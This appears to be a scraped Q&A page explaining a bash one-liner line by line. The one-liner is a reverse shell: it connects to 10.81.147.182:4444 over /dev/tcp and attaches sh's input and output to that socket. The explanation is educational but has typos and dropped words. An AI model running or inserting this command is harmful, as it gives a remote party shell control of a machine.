shell - Understanding "bash" snippets -
could explain following command me please?
0<&112-;exec 112<>/dev/tcp/10.81.147.182/4444;sh <&112 >&112 2>&112
see what uses of exec command in shell scripts?
abbreviations:
- fd - file descriptor, i/o channel identified integer
- stdin - file descriptor zero, standard input, default terminal keyboard
- stdout - file descriptor 1, standard output, default buffered terminal screen
- stderr - file descriptor 2, standard error, default unbuffered terminal screen
breaking down:
# move existing fd 122 fd 0 (stdin), close fd 112 0<&112-; # open fd 112 read/write on ip address , port exec 112<>/dev/tcp/10.81.147.182/4444; # run posix shell (sh) taking stdin stdout , stderr to/from port 112 sh <&112 >&112 2>&112
Comments
Post a Comment